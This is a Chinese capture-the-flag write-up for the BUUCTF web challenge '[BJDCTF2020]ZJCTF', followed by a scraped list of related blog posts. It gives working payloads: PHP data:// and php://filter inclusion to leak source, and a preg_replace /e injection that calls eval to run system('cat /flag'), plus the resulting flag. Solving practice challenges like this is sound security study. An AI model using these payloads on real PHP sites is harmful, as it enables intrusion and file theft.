BUUCTF WEB [BJDCTF2020]ZJCTF,不过如此


  • 进入环境后得到源码

    <?phperror_reporting(0);
    $text = $_GET["text"];
    $file = $_GET["file"];
    if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";if(preg_match("/flag/",$file)){die("Not now!");}include($file);  //next.php}
    else{highlight_file(__FILE__);
    }
    ?>
    
  • 使用PHP伪协议构造payload

    ?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php
    

    回显

    PD9waHAKJGlkID0gJF9HRVRbJ2lkJ107CiRfU0VTU0lPTlsnaWQnXSA9ICRpZDsKCmZ1bmN0aW9uIGNvbXBsZXgoJHJlLCAkc3RyKSB7CiAgICByZXR1cm4gcHJlZ19yZXBsYWNlKAogICAgICAgICcvKCcgLiAkcmUgLiAnKS9laScsCiAgICAgICAgJ3N0cnRvbG93ZXIoIlxcMSIpJywKICAgICAgICAkc3RyCiAgICApOwp9CgoKZm9yZWFjaCgkX0dFVCBhcyAkcmUgPT4gJHN0cikgewogICAgZWNobyBjb21wbGV4KCRyZSwgJHN0cikuICJcbiI7Cn0KCmZ1bmN0aW9uIGdldEZsYWcoKXsKCUBldmFsKCRfR0VUWydjbWQnXSk7Cn0K
    

    base64解密

    <?php
    $id = $_GET['id'];
    $_SESSION['id'] = $id;function complex($re, $str) {return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
    }foreach($_GET as $re => $str) {echo complex($re, $str). "\n";
    }function getFlag(){@eval($_GET['cmd']);
    }
  • 这里可以看出cmd参数存在命令执行漏洞,但问题是如何调用getFlag()函数。这里涉及到 preg_replace /e 模式的代码执行漏洞

    function complex($re, $str) {return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
    }foreach($_GET as $re => $str) {echo complex($re, $str). "\n";
    }
    

    若payload为

    /?.*={${phpinfo()}}
    

    原先的语句: preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value);
    变成了语句: preg_replace('/(.*)/ei', 'strtolower("\\1")', {${phpinfo()}});
    

    注意:正则表达式模式或部分模式两边添加()将导致匹配到的字符串存储到临时缓冲区中,缓冲区编号从1开始,最多存储99个子表达式。每个缓冲区都可以用\n访问,其中n为缓冲区编号。

    preg_replace('/(.*)/ei', 'strtolower("\\1")', {${phpinfo()}});将会把{${phpinfo()}}存储到缓冲区1,此时匹配后的字符串为/(\\1)/ei\\1\1,这将会导致反向引用缓冲区的内容,将其修改为/{${phpinfo()}}/ei,从而导致命令执行。

  • 在本题中,PHP会将传入的非法的$_GET数组参数名转化为下划线,即将.*转化为_。可以修改payload为

    ?\S*=${getFlag()}&cmd=...
    

    其中\S表示匹配任何非空白字符,从而达到我们调用getFlag函数的目的

  • 构造payload

    ?\S*=${getFlag()}&cmd=system('cat /flag');
    

    回显

    flag{6b53cc7c-e9e8-47a1-80ed-10ca16c81ae5} system('cat /flag');
    

BUUCTF WEB [BJDCTF2020]ZJCTF,不过如此相关推荐

  1. BUUCTF WEB [BJDCTF2020]The mystery of ip

    BUUCTF WEB [BJDCTF2020]The mystery of ip 在hint.php中找到一句注释 <!-- Do you know why i know your ip? -- ...

  2. 攻防世界 favorite_number mfw、[BJDCTF2020]ZJCTF,不过如此

    favorite_number 进入环境得到源码 <?php //php5.5.9 $stuff = $_POST["stuff"]; $array = ['admin', ...

  3. BUUCTF Web 第二页全部Write ups

    更多笔记,可以关注yym68686.top 目录 [强网杯 2019]高明的黑客 [BUUCTF 2018]Online Tool [RoarCTF 2019]Easy Java [GXYCTF201 ...

  4. Buuctf -web wp汇总(一)

    Buuctf -web wp汇总(一):链接 Buuctf -web wp汇总(二):链接 持续更新ing~ BuuCTF平台 文章目录 BuuCTF平台 [极客大挑战 2019]EasySQL [极 ...

  5. Buuctf -web wp汇总(三)

    Buuctf -web wp汇总(一):链接 Buuctf -web wp汇总(二):链接 Buuctf -web wp汇总(三):链接 文章目录 [WUSTCTF2020]朴实无华 [WUSTCTF ...

  6. BUUCTF Web 极客大挑战 2019 EasySQL

    BUUCTF Web 极客大挑战 2019 EasySQL 文章目录 BUUCTF Web 极客大挑战 2019 EasySQL 1,输入万能密码: 2,输入万能账号 首先有点常识: 正常SQL语句这 ...

  7. BUUCTF WEB [BSidesCF 2020]Had a bad day

    BUUCTF WEB [BSidesCF 2020]Had a bad day index.php?category=woofers' 报错 Warning: include(woofers'.php ...

  8. BUUCTF WEB [极客大挑战 2019]LoveSQL

    BUUCTF WEB [极客大挑战 2019]LoveSQL 进入靶机后尝试万能密码登录 admin 123' or '1'='1 获得flag Login Success! Hello admin! ...

  9. ctf php正则截断,记[BJDCTF2020]ZJCTF,不过如此 关于php的正则匹配问题

    题目一上来就直接放出一段代码,那么话不多说,直接进行代码设计. error_reporting(0); $text = $_GET["text"]; $file = $_GET[& ...

最新文章

  1. Qt 程序在 Windows 下的发布
  2. 对图像数据最主要的预处理: Resize
  3. torch.load No module named
  4. 转:ESRI矢量数据格式简介
  5. shell+mysql获取数据库名_shell操作mysql数据库
  6. 剑灵系统推荐加点_剑灵重制修炼系统 无定式加点打造自我风格
  7. skywalking搭建与使用
  8. linux 系统一键安装 lnmp
  9. ylbtech-dbs-m-YinTai(银泰网)
  10. Spring Cloud基础入门
  11. 读Pyqt4教程,带你入门Pyqt4 _007
  12. poj1013 Counterfeit Dollar
  13. Pycharm2018 汉化
  14. thrift实战教程
  15. u盘linux启动盘制作ultraiso,U+启动:利用UltraISO制作启动U盘,引导DOS系统
  16. UG NX 12鼠标和键盘操作
  17. typeAliasesPackage的作用
  18. F28335 PWM触发ADC采样 代码+注释
  19. 文本相关_SAP刘梦_新浪博客
  20. 实验室主任在ISO 15189认可准备中应该扮演什么样的角色

热门文章

  1. nginx的启动,停止,重启命令(linux)
  2. 从 ES6 到 ES10 的新特性万字大总结
  3. 1--STM32 ADC1与ADC2 16通道DMA采集笔记
  4. Diffusion模型详解
  5. ElasticSearch搭建集群
  6. 配置好的HTTPS服务,无法访问
  7. Zookeeper实战之客户端Curator vs zkClient
  8. 电商公布的销售额都增长了,不过电商行业其实在去年已衰退了
  9. Android11 SystemUI启动流程源码分析(一)——SystemUIApplication的创建
  10. 立波、海波、秀波,一波波秀得过亚马逊CEO最贵离婚案吗?